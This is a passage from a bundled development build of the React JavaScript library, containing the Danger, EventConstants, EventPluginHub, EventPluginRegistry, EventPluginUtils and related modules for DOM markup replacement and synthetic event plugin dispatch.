invariant(false, 'Danger: Did not assign to every index of resultList.') : invariant(false) : void 0;\n\n    !(resultList.length === markupList.length) ? \"development\" !== 'production' ? invariant(false, 'Danger: Expected markup to render %s nodes, but rendered %s.', markupList.length, resultList.length) : invariant(false) : void 0;\n\n    return resultList;\n  },\n\n  /**\n   * Replaces a node with a string of markup at its current position within its\n   * parent. The markup must render into a single root node.\n   *\n   * @param {DOMElement} oldChild Child node to replace.\n   * @param {string} markup Markup to render in place of the child node.\n   * @internal\n   */\n  dangerouslyReplaceNodeWithMarkup: function (oldChild, markup) {\n    !ExecutionEnvironment.canUseDOM ? \"development\" !== 'production' ? invariant(false, 'dangerouslyReplaceNodeWithMarkup(...): Cannot render markup in a ' + 'worker thread. Make sure `window` and `document` are available ' + 'globally before requiring React when unit testing or use ' + 'ReactDOMServer.renderToString() for server rendering.') : invariant(false) : void 0;\n    !markup ? \"development\" !== 'production' ? invariant(false, 'dangerouslyReplaceNodeWithMarkup(...): Missing markup.') : invariant(false) : void 0;\n    !(oldChild.nodeName !== 'HTML') ? \"development\" !== 'production' ? invariant(false, 'dangerouslyReplaceNodeWithMarkup(...): Cannot replace markup of the ' + '<html> node. This is because browser quirks make this unreliable ' + 'and/or slow. If you want to render to the root you must use ' + 'server rendering. See ReactDOMServer.renderToString().') : invariant(false) : void 0;\n\n    if (typeof markup === 'string') {\n      var newChild = createNodesFromMarkup(markup, emptyFunction)[0];\n      oldChild.parentNode.replaceChild(newChild, oldChild);\n    } else {\n      DOMLazyTree.replaceChildWithTree(oldChild, markup);\n    }\n  }\n\n};\n\nmodule.exports = Danger;\n},{\"144\":144,\"149\":149,\"150\":150,\"154\":154,\"158\":158,\"8\":8}],13:[function(_dereq_,module,exports){\n/**\n * Copyright 2013-present, Facebook, Inc.\n * All rights reserved.\n *\n * This source code is licensed under the BSD-style license found in the\n * LICENSE file in the root directory of this source tree. An additional grant\n * of patent rights can be found in the PATENTS file in the same directory.\n *\n * @providesModule DefaultEventPluginOrder\n */\n\n'use strict';\n\nvar keyOf = _dereq_(162);\n\n/**\n * Module that is injectable into `EventPluginHub`, that specifies a\n * deterministic ordering of `EventPlugin`s. A convenient way to reason about\n * plugins, without having to package every one of them. This is better than\n * having plugins be ordered in the same order that they are injected because\n * that ordering would be influenced by the packaging order.\n * `ResponderEventPlugin` must occur before `SimpleEventPlugin` so that\n * preventing default on events is convenient in `SimpleEventPlugin` handlers.\n */\nvar DefaultEventPluginOrder = [keyOf({ ResponderEventPlugin: null }), keyOf({ SimpleEventPlugin: null }), keyOf({ TapEventPlugin: null }), keyOf({ EnterLeaveEventPlugin: null }), keyOf({ ChangeEventPlugin: null }), keyOf({ SelectEventPlugin: null }), keyOf({ BeforeInputEventPlugin: null })];\n\nmodule.exports = DefaultEventPluginOrder;\n},{\"162\":162}],14:[function(_dereq_,module,exports){\n/**\n * Copyright 2013-present, Facebook, Inc.\n * All rights reserved.\n *\n * This source code is licensed under the BSD-style license found in the\n * LICENSE file in the root directory of this source tree. An additional grant\n * of patent rights can be found in the PATENTS file in the same directory.\n *\n * @providesModule DisabledInputUtils\n */\n\n'use strict';\n\nvar disableableMouseListenerNames = {\n  onClick: true,\n  onDoubleClick: true,\n  onMouseDown: true,\n  onMouseMove: true,\n  onMouseUp: true,\n\n  onClickCapture: true,\n  onDoubleClickCapture: true,\n  onMouseDownCapture: true,\n  onMouseMoveCapture: true,\n  onMouseUpCapture: true\n};\n\n/**\n * Implements a native component that does not receive mouse events\n * when `disabled` is set.\n */\nvar DisabledInputUtils = {\n  getNativeProps: function (inst, props) {\n    if (!props.disabled) {\n      return props;\n    }\n\n    // Copy the props, except the mouse listeners\n    var nativeProps = {};\n    for (var key in props) {\n      if (!disableableMouseListenerNames[key] && props.hasOwnProperty(key)) {\n        nativeProps[key] = props[key];\n      }\n    }\n\n    return nativeProps;\n  }\n};\n\nmodule.exports = DisabledInputUtils;\n},{}],15:[function(_dereq_,module,exports){\n/**\n * Copyright 2013-present, Facebook, Inc.\n * All rights reserved.\n *\n * This source code is licensed under the BSD-style license found in the\n * LICENSE file in the root directory of this source tree. An additional grant\n * of patent rights can be found in the PATENTS file in the same directory.\n *\n * @providesModule EnterLeaveEventPlugin\n */\n\n'use strict';\n\nvar EventConstants = _dereq_(16);\nvar EventPropagators = _dereq_(20);\nvar ReactDOMComponentTree = _dereq_(40);\nvar SyntheticMouseEvent = _dereq_(107);\n\nvar keyOf = _dereq_(162);\n\nvar topLevelTypes = EventConstants.topLevelTypes;\n\nvar eventTypes = {\n  mouseEnter: {\n    registrationName: keyOf({ onMouseEnter: null }),\n    dependencies: [topLevelTypes.topMouseOut, topLevelTypes.topMouseOver]\n  },\n  mouseLeave: {\n    registrationName: keyOf({ onMouseLeave: null }),\n    dependencies: [topLevelTypes.topMouseOut, topLevelTypes.topMouseOver]\n  }\n};\n\nvar EnterLeaveEventPlugin = {\n\n  eventTypes: eventTypes,\n\n  /**\n   * For almost every interaction we care about, there will be both a top-level\n   * `mouseover` and `mouseout` event that occurs. Only use `mouseout` so that\n   * we do not extract duplicate events. However, moving the mouse into the\n   * browser from outside will not fire a `mouseout` event. In this case, we use\n   * the `mouseover` top-level event.\n   */\n  extractEvents: function (topLevelType, targetInst, nativeEvent, nativeEventTarget) {\n    if (topLevelType === topLevelTypes.topMouseOver && (nativeEvent.relatedTarget || nativeEvent.fromElement)) {\n      return null;\n    }\n    if (topLevelType !== topLevelTypes.topMouseOut && topLevelType !== topLevelTypes.topMouseOver) {\n      // Must not be a mouse in or mouse out - ignoring.\n      return null;\n    }\n\n    var win;\n    if (nativeEventTarget.window === nativeEventTarget) {\n      // `nativeEventTarget` is probably a window object.\n      win = nativeEventTarget;\n    } else {\n      // TODO: Figure out why `ownerDocument` is sometimes undefined in IE8.\n      var doc = nativeEventTarget.ownerDocument;\n      if (doc) {\n        win = doc.defaultView || doc.parentWindow;\n      } else {\n        win = window;\n      }\n    }\n\n    var from;\n    var to;\n    if (topLevelType === topLevelTypes.topMouseOut) {\n      from = targetInst;\n      var related = nativeEvent.relatedTarget || nativeEvent.toElement;\n      to = related ? ReactDOMComponentTree.getClosestInstanceFromNode(related) : null;\n    } else {\n      // Moving to a node from outside the window.\n      from = null;\n      to = targetInst;\n    }\n\n    if (from === to) {\n      // Nothing pertains to our managed components.\n      return null;\n    }\n\n    var fromNode = from == null ? win : ReactDOMComponentTree.getNodeFromInstance(from);\n    var toNode = to == null ? win : ReactDOMComponentTree.getNodeFromInstance(to);\n\n    var leave = SyntheticMouseEvent.getPooled(eventTypes.mouseLeave, from, nativeEvent, nativeEventTarget);\n    leave.type = 'mouseleave';\n    leave.target = fromNode;\n    leave.relatedTarget = toNode;\n\n    var enter = SyntheticMouseEvent.getPooled(eventTypes.mouseEnter, to, nativeEvent, nativeEventTarget);\n    enter.type = 'mouseenter';\n    enter.target = toNode;\n    enter.relatedTarget = fromNode;\n\n    EventPropagators.accumulateEnterLeaveDispatches(leave, enter, from, to);\n\n    return [leave, enter];\n  }\n\n};\n\nmodule.exports = EnterLeaveEventPlugin;\n},{\"107\":107,\"16\":16,\"162\":162,\"20\":20,\"40\":40}],16:[function(_dereq_,module,exports){\n/**\n * Copyright 2013-present, Facebook, Inc.\n * All rights reserved.\n *\n * This source code is licensed under the BSD-style license found in the\n * LICENSE file in the root directory of this source tree. An additional grant\n * of patent rights can be found in the PATENTS file in the same directory.\n *\n * @providesModule EventConstants\n */\n\n'use strict';\n\nvar keyMirror = _dereq_(161);\n\nvar PropagationPhases = keyMirror({ bubbled: null, captured: null });\n\n/**\n * Types of raw signals from the browser caught at the top level.\n */\nvar topLevelTypes = keyMirror({\n  topAbort: null,\n  topAnimationEnd: null,\n  topAnimationIteration: null,\n  topAnimationStart: null,\n  topBlur: null,\n  topCanPlay: null,\n  topCanPlayThrough: null,\n  topChange: null,\n  topClick: null,\n  topCompositionEnd: null,\n  topCompositionStart: null,\n  topCompositionUpdate: null,\n  topContextMenu: null,\n  topCopy: null,\n  topCut: null,\n  topDoubleClick: null,\n  topDrag: null,\n  topDragEnd: null,\n  topDragEnter: null,\n  topDragExit: null,\n  topDragLeave: null,\n  topDragOver: null,\n  topDragStart: null,\n  topDrop: null,\n  topDurationChange: null,\n  topEmptied: null,\n  topEncrypted: null,\n  topEnded: null,\n  topError: null,\n  topFocus: null,\n  topInput: null,\n  topInvalid: null,\n  topKeyDown: null,\n  topKeyPress: null,\n  topKeyUp: null,\n  topLoad: null,\n  topLoadedData: null,\n  topLoadedMetadata: null,\n  topLoadStart: null,\n  topMouseDown: null,\n  topMouseMove: null,\n  topMouseOut: null,\n  topMouseOver: null,\n  topMouseUp: null,\n  topPaste: null,\n  topPause: null,\n  topPlay: null,\n  topPlaying: null,\n  topProgress: null,\n  topRateChange: null,\n  topReset: null,\n  topScroll: null,\n  topSeeked: null,\n  topSeeking: null,\n  topSelectionChange: null,\n  topStalled: null,\n  topSubmit: null,\n  topSuspend: null,\n  topTextInput: null,\n  topTimeUpdate: null,\n  topTouchCancel: null,\n  topTouchEnd: null,\n  topTouchMove: null,\n  topTouchStart: null,\n  topTransitionEnd: null,\n  topVolumeChange: null,\n  topWaiting: null,\n  topWheel: null\n});\n\nvar EventConstants = {\n  topLevelTypes: topLevelTypes,\n  PropagationPhases: PropagationPhases\n};\n\nmodule.exports = EventConstants;\n},{\"161\":161}],17:[function(_dereq_,module,exports){\n/**\n * Copyright 2013-present, Facebook, Inc.\n * All rights reserved.\n *\n * This source code is licensed under the BSD-style license found in the\n * LICENSE file in the root directory of this source tree. An additional grant\n * of patent rights can be found in the PATENTS file in the same directory.\n *\n * @providesModule EventPluginHub\n */\n\n'use strict';\n\nvar EventPluginRegistry = _dereq_(18);\nvar EventPluginUtils = _dereq_(19);\nvar ReactErrorUtils = _dereq_(65);\n\nvar accumulateInto = _dereq_(114);\nvar forEachAccumulated = _dereq_(122);\nvar invariant = _dereq_(158);\n\n/**\n * Internal store for event listeners\n */\nvar listenerBank = {};\n\n/**\n * Internal queue of events that have accumulated their dispatches and are\n * waiting to have their dispatches executed.\n */\nvar eventQueue = null;\n\n/**\n * Dispatches an event and releases it back into the pool, unless persistent.\n *\n * @param {?object} event Synthetic event to be dispatched.\n * @param {boolean} simulated If the event is simulated (changes exn behavior)\n * @private\n */\nvar executeDispatchesAndRelease = function (event, simulated) {\n  if (event) {\n    EventPluginUtils.executeDispatchesInOrder(event, simulated);\n\n    if (!event.isPersistent()) {\n      event.constructor.release(event);\n    }\n  }\n};\nvar executeDispatchesAndReleaseSimulated = function (e) {\n  return executeDispatchesAndRelease(e, true);\n};\nvar executeDispatchesAndReleaseTopLevel = function (e) {\n  return executeDispatchesAndRelease(e, false);\n};\n\n/**\n * This is a unified interface for event plugins to be installed and configured.\n *\n * Event plugins can implement the following properties:\n *\n *   `extractEvents` {function(string, DOMEventTarget, string, object): *}\n *     Required. When a top-level event is fired, this method is expected to\n *     extract synthetic events that will in turn be queued and dispatched.\n *\n *   `eventTypes` {object}\n *     Optional, plugins that fire events must publish a mapping of registration\n *     names that are used to register listeners. Values of this mapping must\n *     be objects that contain `registrationName` or `phasedRegistrationNames`.\n *\n *   `executeDispatch` {function(object, function, string)}\n *     Optional, allows plugins to override how an event gets dispatched. By\n *     default, the listener is simply invoked.\n *\n * Each plugin that is injected into `EventsPluginHub` is immediately operable.\n *\n * @public\n */\nvar EventPluginHub = {\n\n  /**\n   * Methods for injecting dependencies.\n   */\n  injection: {\n\n    /**\n     * @param {array} InjectedEventPluginOrder\n     * @public\n     */\n    injectEventPluginOrder: EventPluginRegistry.injectEventPluginOrder,\n\n    /**\n     * @param {object} injectedNamesToPlugins Map from names to plugin modules.\n     */\n    injectEventPluginsByName: EventPluginRegistry.injectEventPluginsByName\n\n  },\n\n  /**\n   * Stores `listener` at `listenerBank[registrationName][id]`. Is idempotent.\n   *\n   * @param {object} inst The instance, which is the source of events.\n   * @param {string} registrationName Name of listener (e.g. `onClick`).\n   * @param {function} listener The callback to store.\n   */\n  putListener: function (inst, registrationName, listener) {\n    !(typeof listener === 'function') ? \"development\" !== 'production' ? invariant(false, 'Expected %s listener to be a function, instead got type %s', registrationName, typeof listener) : invariant(false) : void 0;\n\n    var bankForRegistrationName = listenerBank[registrationName] || (listenerBank[registrationName] = {});\n    bankForRegistrationName[inst._rootNodeID] = listener;\n\n    var PluginModule = EventPluginRegistry.registrationNameModules[registrationName];\n    if (PluginModule && PluginModule.didPutListener) {\n      PluginModule.didPutListener(inst, registrationName, listener);\n    }\n  },\n\n  /**\n   * @param {object} inst The instance, which is the source of events.\n   * @param {string} registrationName Name of listener (e.g. `onClick`).\n   * @return {?function} The stored callback.\n   */\n  getListener: function (inst, registrationName) {\n    var bankForRegistrationName = listenerBank[registrationName];\n    return bankForRegistrationName && bankForRegistrationName[inst._rootNodeID];\n  },\n\n  /**\n   * Deletes a listener from the registration bank.\n   *\n   * @param {object} inst The instance, which is the source of events.\n   * @param {string} registrationName Name of listener (e.g. `onClick`).\n   */\n  deleteListener: function (inst, registrationName) {\n    var PluginModule = EventPluginRegistry.registrationNameModules[registrationName];\n    if (PluginModule && PluginModule.willDeleteListener) {\n      PluginModule.willDeleteListener(inst, registrationName);\n    }\n\n    var bankForRegistrationName = listenerBank[registrationName];\n    // TODO: This should never be null -- when is it?\n    if (bankForRegistrationName) {\n      delete bankForRegistrationName[inst._rootNodeID];\n    }\n  },\n\n  /**\n   * Deletes all listeners for the DOM element with the supplied ID.\n   *\n   * @param {object} inst The instance, which is the source of events.\n   */\n  deleteAllListeners: function (inst) {\n    for (var registrationName in listenerBank) {\n      if (!listenerBank[registrationName][inst._rootNodeID]) {\n        continue;\n      }\n\n      var PluginModule = EventPluginRegistry.registrationNameModules[registrationName];\n      if (PluginModule && PluginModule.willDeleteListener) {\n        PluginModule.willDeleteListener(inst, registrationName);\n      }\n\n      delete listenerBank[registrationName][inst._rootNodeID];\n    }\n  },\n\n  /**\n   * Allows registered plugins an opportunity to extract events from top-level\n   * native browser events.\n   *\n   * @return {*} An accumulation of synthetic events.\n   * @internal\n   */\n  extractEvents: function (topLevelType, targetInst, nativeEvent, nativeEventTarget) {\n    var events;\n    var plugins = EventPluginRegistry.plugins;\n    for (var i = 0; i < plugins.length; i++) {\n      // Not every plugin in the ordering may be loaded at runtime.\n      var possiblePlugin = plugins[i];\n      if (possiblePlugin) {\n        var extractedEvents = possiblePlugin.extractEvents(topLevelType, targetInst, nativeEvent, nativeEventTarget);\n        if (extractedEvents) {\n          events = accumulateInto(events, extractedEvents);\n        }\n      }\n    }\n    return events;\n  },\n\n  /**\n   * Enqueues a synthetic event that should be dispatched when\n   * `processEventQueue` is invoked.\n   *\n   * @param {*} events An accumulation of synthetic events.\n   * @internal\n   */\n  enqueueEvents: function (events) {\n    if (events) {\n      eventQueue = accumulateInto(eventQueue, events);\n    }\n  },\n\n  /**\n   * Dispatches all synthetic events on the event queue.\n   *\n   * @internal\n   */\n  processEventQueue: function (simulated) {\n    // Set `eventQueue` to null before processing it so that we can tell if more\n    // events get enqueued while processing.\n    var processingEventQueue = eventQueue;\n    eventQueue = null;\n    if (simulated) {\n      forEachAccumulated(processingEventQueue, executeDispatchesAndReleaseSimulated);\n    } else {\n      forEachAccumulated(processingEventQueue, executeDispatchesAndReleaseTopLevel);\n    }\n    !!eventQueue ? \"development\" !== 'production' ? invariant(false, 'processEventQueue(): Additional events were enqueued while processing ' + 'an event queue. Support for this has not yet been implemented.') : invariant(false) : void 0;\n    // This would be a good time to rethrow if any of the event handlers threw.\n    ReactErrorUtils.rethrowCaughtError();\n  },\n\n  /**\n   * These are needed for tests only. Do not use!\n   */\n  __purge: function () {\n    listenerBank = {};\n  },\n\n  __getListenerBank: function () {\n    return listenerBank;\n  }\n\n};\n\nmodule.exports = EventPluginHub;\n},{\"114\":114,\"122\":122,\"158\":158,\"18\":18,\"19\":19,\"65\":65}],18:[function(_dereq_,module,exports){\n/**\n * Copyright 2013-present, Facebook, Inc.\n * All rights reserved.\n *\n * This source code is licensed under the BSD-style license found in the\n * LICENSE file in the root directory of this source tree. An additional grant\n * of patent rights can be found in the PATENTS file in the same directory.\n *\n * @providesModule EventPluginRegistry\n */\n\n'use strict';\n\nvar invariant = _dereq_(158);\n\n/**\n * Injectable ordering of event plugins.\n */\nvar EventPluginOrder = null;\n\n/**\n * Injectable mapping from names to event plugin modules.\n */\nvar namesToPlugins = {};\n\n/**\n * Recomputes the plugin list using the injected plugins and plugin ordering.\n *\n * @private\n */\nfunction recomputePluginOrdering() {\n  if (!EventPluginOrder) {\n    // Wait until an `EventPluginOrder` is injected.\n    return;\n  }\n  for (var pluginName in namesToPlugins) {\n    var PluginModule = namesToPlugins[pluginName];\n    var pluginIndex = EventPluginOrder.indexOf(pluginName);\n    !(pluginIndex > -1) ? \"development\" !== 'production' ? invariant(false, 'EventPluginRegistry: Cannot inject event plugins that do not exist in ' + 'the plugin ordering, `%s`.', pluginName) : invariant(false) : void 0;\n    if (EventPluginRegistry.plugins[pluginIndex]) {\n      continue;\n    }\n    !PluginModule.extractEvents ? \"development\" !== 'production' ? invariant(false, 'EventPluginRegistry: Event plugins must implement an `extractEvents` ' + 'method, but `%s` does not.', pluginName) : invariant(false) : void 0;\n    EventPluginRegistry.plugins[pluginIndex] = PluginModule;\n    var publishedEvents = PluginModule.eventTypes;\n    for (var eventName in publishedEvents) {\n      !publishEventForPlugin(publishedEvents[eventName], PluginModule, eventName) ? \"development\" !== 'production' ? invariant(false, 'EventPluginRegistry: Failed to publish event `%s` for plugin `%s`.', eventName, pluginName) : invariant(false) : void 0;\n    }\n  }\n}\n\n/**\n * Publishes an event so that it can be dispatched by the supplied plugin.\n *\n * @param {object} dispatchConfig Dispatch configuration for the event.\n * @param {object} PluginModule Plugin publishing the event.\n * @return {boolean} True if the event was successfully published.\n * @private\n */\nfunction publishEventForPlugin(dispatchConfig, PluginModule, eventName) {\n  !!EventPluginRegistry.eventNameDispatchConfigs.hasOwnProperty(eventName) ? \"development\" !== 'production' ? invariant(false, 'EventPluginHub: More than one plugin attempted to publish the same ' + 'event name, `%s`.', eventName) : invariant(false) : void 0;\n  EventPluginRegistry.eventNameDispatchConfigs[eventName] = dispatchConfig;\n\n  var phasedRegistrationNames = dispatchConfig.phasedRegistrationNames;\n  if (phasedRegistrationNames) {\n    for (var phaseName in phasedRegistrationNames) {\n      if (phasedRegistrationNames.hasOwnProperty(phaseName)) {\n        var phasedRegistrationName = phasedRegistrationNames[phaseName];\n        publishRegistrationName(phasedRegistrationName, PluginModule, eventName);\n      }\n    }\n    return true;\n  } else if (dispatchConfig.registrationName) {\n    publishRegistrationName(dispatchConfig.registrationName, PluginModule, eventName);\n    return true;\n  }\n  return false;\n}\n\n/**\n * Publishes a registration name that is used to identify dispatched events and\n * can be used with `EventPluginHub.putListener` to register listeners.\n *\n * @param {string} registrationName Registration name to add.\n * @param {object} PluginModule Plugin publishing the event.\n * @private\n */\nfunction publishRegistrationName(registrationName, PluginModule, eventName) {\n  !!EventPluginRegistry.registrationNameModules[registrationName] ? \"development\" !== 'production' ? invariant(false, 'EventPluginHub: More than one plugin attempted to publish the same ' + 'registration name, `%s`.', registrationName) : invariant(false) : void 0;\n  EventPluginRegistry.registrationNameModules[registrationName] = PluginModule;\n  EventPluginRegistry.registrationNameDependencies[registrationName] = PluginModule.eventTypes[eventName].dependencies;\n\n  if (\"development\" !== 'production') {\n    var lowerCasedName = registrationName.toLowerCase();\n    EventPluginRegistry.possibleRegistrationNames[lowerCasedName] = registrationName;\n  }\n}\n\n/**\n * Registers plugins so that they can extract and dispatch events.\n *\n * @see {EventPluginHub}\n */\nvar EventPluginRegistry = {\n\n  /**\n   * Ordered list of injected plugins.\n   */\n  plugins: [],\n\n  /**\n   * Mapping from event name to dispatch config\n   */\n  eventNameDispatchConfigs: {},\n\n  /**\n   * Mapping from registration name to plugin module\n   */\n  registrationNameModules: {},\n\n  /**\n   * Mapping from registration name to event name\n   */\n  registrationNameDependencies: {},\n\n  /**\n   * Mapping from lowercase registration names to the properly cased version,\n   * used to warn in the case of missing event handlers. Available\n   * only in __DEV__.\n   * @type {Object}\n   */\n  possibleRegistrationNames: \"development\" !== 'production' ? {} : null,\n\n  /**\n   * Injects an ordering of plugins (by plugin name). This allows the ordering\n   * to be decoupled from injection of the actual plugins so that ordering is\n   * always deterministic regardless of packaging, on-the-fly injection, etc.\n   *\n   * @param {array} InjectedEventPluginOrder\n   * @internal\n   * @see {EventPluginHub.injection.injectEventPluginOrder}\n   */\n  injectEventPluginOrder: function (InjectedEventPluginOrder) {\n    !!EventPluginOrder ? \"development\" !== 'production' ? invariant(false, 'EventPluginRegistry: Cannot inject event plugin ordering more than ' + 'once. You are likely trying to load more than one copy of React.') : invariant(false) : void 0;\n    // Clone the ordering so it cannot be dynamically mutated.\n    EventPluginOrder = Array.prototype.slice.call(InjectedEventPluginOrder);\n    recomputePluginOrdering();\n  },\n\n  /**\n   * Injects plugins to be used by `EventPluginHub`. The plugin names must be\n   * in the ordering injected by `injectEventPluginOrder`.\n   *\n   * Plugins can be injected as part of page initialization or on-the-fly.\n   *\n   * @param {object} injectedNamesToPlugins Map from names to plugin modules.\n   * @internal\n   * @see {EventPluginHub.injection.injectEventPluginsByName}\n   */\n  injectEventPluginsByName: function (injectedNamesToPlugins) {\n    var isOrderingDirty = false;\n    for (var pluginName in injectedNamesToPlugins) {\n      if (!injectedNamesToPlugins.hasOwnProperty(pluginName)) {\n        continue;\n      }\n      var PluginModule = injectedNamesToPlugins[pluginName];\n      if (!namesToPlugins.hasOwnProperty(pluginName) || namesToPlugins[pluginName] !== PluginModule) {\n        !!namesToPlugins[pluginName] ? \"development\" !== 'production' ? invariant(false, 'EventPluginRegistry: Cannot inject two different event plugins ' + 'using the same name, `%s`.', pluginName) : invariant(false) : void 0;\n        namesToPlugins[pluginName] = PluginModule;\n        isOrderingDirty = true;\n      }\n    }\n    if (isOrderingDirty) {\n      recomputePluginOrdering();\n    }\n  },\n\n  /**\n   * Looks up the plugin for the supplied event.\n   *\n   * @param {object} event A synthetic event.\n   * @return {?object} The plugin that created the supplied event.\n   * @internal\n   */\n  getPluginModuleForEvent: function (event) {\n    var dispatchConfig = event.dispatchConfig;\n    if (dispatchConfig.registrationName) {\n      return EventPluginRegistry.registrationNameModules[dispatchConfig.registrationName] || null;\n    }\n    for (var phase in dispatchConfig.phasedRegistrationNames) {\n      if (!dispatchConfig.phasedRegistrationNames.hasOwnProperty(phase)) {\n        continue;\n      }\n      var PluginModule = EventPluginRegistry.registrationNameModules[dispatchConfig.phasedRegistrationNames[phase]];\n      if (PluginModule) {\n        return PluginModule;\n      }\n    }\n    return null;\n  },\n\n  /**\n   * Exposed for unit testing.\n   * @private\n   */\n  _resetEventPlugins: function () {\n    EventPluginOrder = null;\n    for (var pluginName in namesToPlugins) {\n      if (namesToPlugins.hasOwnProperty(pluginName)) {\n        delete namesToPlugins[pluginName];\n      }\n    }\n    EventPluginRegistry.plugins.length = 0;\n\n    var eventNameDispatchConfigs = EventPluginRegistry.eventNameDispatchConfigs;\n    for (var eventName in eventNameDispatchConfigs) {\n      if (eventNameDispatchConfigs.hasOwnProperty(eventName)) {\n        delete eventNameDispatchConfigs[eventName];\n      }\n    }\n\n    var registrationNameModules = EventPluginRegistry.registrationNameModules;\n    for (var registrationName in registrationNameModules) {\n      if (registrationNameModules.hasOwnProperty(registrationName)) {\n        delete registrationNameModules[registrationName];\n      }\n    }\n\n    if (\"development\" !== 'production') {\n      var possibleRegistrationNames = EventPluginRegistry.possibleRegistrationNames;\n      for (var lowerCasedName in possibleRegistrationNames) {\n        if (possibleRegistrationNames.hasOwnProperty(lowerCasedName)) {\n          delete possibleRegistrationNames[lowerCasedName];\n        }\n      }\n    }\n  }\n\n};\n\nmodule.exports = EventPluginRegistry;\n},{\"158\":158}],19:[function(_dereq_,module,exports){\n/**\n * Copyright 2013-present, Facebook, Inc.\n * All rights reserved.\n *\n * This source code is licensed under the BSD-style license found in the\n * LICENSE file in the root directory of this source tree. An additional grant\n * of patent rights can be found in the PATENTS file in the same directory.\n *\n * @providesModule EventPluginUtils\n */\n\n'use strict';\n\nvar EventConstants = _dereq_(16);\nvar ReactErrorUtils = _dereq_(65);\n\nvar invariant = _dereq_(158);\nvar warning = _dereq_(168);\n\n/**\n * Injected dependencies:\n */\n\n/**\n * - `ComponentTree`: [required] Module that can convert between React instances\n *   and actual node references.\n */\nvar ComponentTree;\nvar TreeTraversal;\nvar injection = {\n  injectComponentTree: function (Injected) {\n    ComponentTree = Injected;\n    if (\"development\" !== 'production') {\n      \"development\" !== 'production' ? warning(Injected && Injected.getNodeFromInstance && Injected.getInstanceFromNode, 'EventPluginUtils.injection.injectComponentTree(...): Injected ' + 'module is missing getNodeFromInstance or getInstanceFromNode.') : void 0;\n    }\n  },\n  injectTreeTraversal: function (Injected) {\n    TreeTraversal = Injected;\n    if (\"development\" !== 'production') {\n      \"development\" !== 'production' ? warning(Injected && Injected.isAncestor && Injected.getLowestCommonAncestor, 'EventPluginUtils.injection.injectTreeTraversal(...): Injected ' + 'module is missing isAncestor or getLowestCommonAncestor.') : void 0;\n    }\n  }\n};\n\nvar topLevelTypes = EventConstants.topLevelTypes;\n\nfunction isEndish(topLevelType) {\n  return topLevelType === topLevelTypes.topMouseUp || topLevelType === topLevelTypes.topTouchEnd || topLevelType === topLevelTypes.topTouchCancel;\n}\n\nfunction isMoveish(topLevelType) {\n  return topLevelType === topLevelTypes.topMouseMove || topLevelType === topLevelTypes.topTouchMove;\n}\nfunction isStartish(topLevelType) {\n  return topLevelType === topLevelTypes.topMouseDown || topLevelType === topLevelTypes.topTouchStart;\n}\n\nvar validateEventDispatches;\nif (\"development\" !== 'production') {\n  validateEventDispatches = function (event) {\n    var dispatchListeners = event._dispatchListeners;\n    var dispatchInstances = event._dispatchInstances;\n\n    var listenersIsArr = Array.isArray(dispatchListeners);\n    var listenersLen = listenersIsArr ? dispatchListeners.length : dispatchListeners ? 1 : 0;\n\n    var instancesIsArr = Array.isArray(dispatchInstances);\n    var instancesLen = instancesIsArr ? dispatchInstances.length : dispatchInstances ? 1 : 0;\n\n    \"development\" !== 'production' ? warning(instancesIsArr === listenersIsArr && instancesLen === listenersLen, 'EventPluginUtils: Invalid `event`.') : void 0;\n  };\n}\n\n/**\n * Dispatch the event to the listener.\n * @param {SyntheticEvent} event SyntheticEvent to handle\n * @param {boolean} simulated If the event is simulated (changes exn behavior)\n * @param {function} listener Application-level callback\n * @param {*} inst Internal component instance\n */\nfunction executeDispatch(event, simulated, listener, inst) {\n  var type = event.type || 'unknown-event';\n  event.currentTarget = EventPluginUtils.getNodeFromInstance(inst);\n  if (simulated) {\n    ReactErrorUtils.invokeGuardedCallbackWithCatch(type, listener, event);\n  } else {\n    ReactErrorUtils.invokeGuardedCallback(type, listener, event);\n  }\n  event.currentTarget = null;\n}\n\n/**\n * Standard/simple iteration through an event's collected dispatches.\n */\nfunction executeDispatchesInOrder(event, simulated) {\n  var dispatchListeners = event._dispatchListeners;\n  var dispatchInstances = event._dispatchInstances;\n  if (\"development\" !== 'production') {\n    validateEventDispatches(event);\n  }\n  if (Array.isArray(dispatchListeners)) {\n    for (var i = 0; i < dispatchListeners.length; i++) {\n      if (event.isPropagationStopped()) {\n        break;\n      }\n      // Listeners and Instances are two parallel arrays that are always in sync.\n      executeDispatch(event, simulated, dispatchListeners[i], dispatchInstances[i]);\n    }\n  } else if (dispatchListeners) {\n    executeDispatch(event, simulated, dispatchListeners, dispatchInstances);\n  }\n  event._dispatchListeners = null;\n  event._dispatchInstances = null;\n}\n\n/**\n * Standard/simple iteration through an event's collected dispatches, but stops\n * at the first dispatch execution returning true, and returns that id.\n *\n * @return {?string} id of the first dispatch execution who's listener returns\n * true, or null if no listener returned true.\n */\nfunction executeDispatchesInOrderStopAtTrueImpl(event) {\n  var dispatchListeners = event._dispatchListeners;\n  var dispatchInstances = event._dispatchInstances;\n  if (\"development\" !== 'production') {\n    validateEventDispatches(event);\n  }\n  if (Array.isArray(dispatchListeners)) {\n    for (var i = 0; i < dispatchListeners.length; i++) {\n      if (event.isPropagationStopped()) {\n        break;\n      }\n      // Listeners and Instances are two parallel arrays that are always in sync.\n      if (dispatchListeners[i](event, dispatchInstances[i])) {\n        return dispatchInstances[i];\n      }\n    }\n  } else if (dispatchListeners) {\n    if (dispatchListeners(event, dispatchInstances)) {\n      return dispatchInstances;\n    }\n  }\n  return null;\n}\n\n/**\n * @see executeDispatchesInOrderStopAtTrueImpl\n */\nfunction executeDispatchesInOrderStopAtTrue(event) {\n  var ret = executeDispatchesInOrderStopAtTrueImpl(event);\n  event._dispatchInstances = null;\n  event._dispatchListeners = null;\n  return ret;\n}\n\n/**\n * Execution of a \"direct\" dispatch - there must be at most one dispatch\n * accumulated on the event or it is considered an error. It doesn't really make\n * sense for an event with multiple dispatches (bubbled) to keep track of the\n * return values at each dispatch execution, but it does tend to make sense when\n * dealing with \"direct\" dispatches.\n *\n * @return {*} The return value of executing the single dispatch.\n */\nfunction executeDirectDispatch(event) {\n  if (\"development\" !== 'production') {\n    validateEventDispatches(event);\n  }\n  var dispatchListener = event._dispatchListeners;\n  var dispatchInstance = event._dispatchInstances;\n  !!Array.isArray(dispatchListener) ? \"development\" !== 'production' ? invariant(false, 'executeDirectDispatch(...): Invalid `event`.') : invariant(false) : void 0;\n  event.currentTarget = dispatchListener ? EventPluginUtils.getNodeFromInstance(dispatchInstance) : null;\n  var res = dispatchListener ? dispatchListener(event) : null;\n  event.currentTarget = null;\n  event._dispatchListeners = null;\n  event._dispatchInstances = null;\n  return res;\n}\n\n/**\n * @param 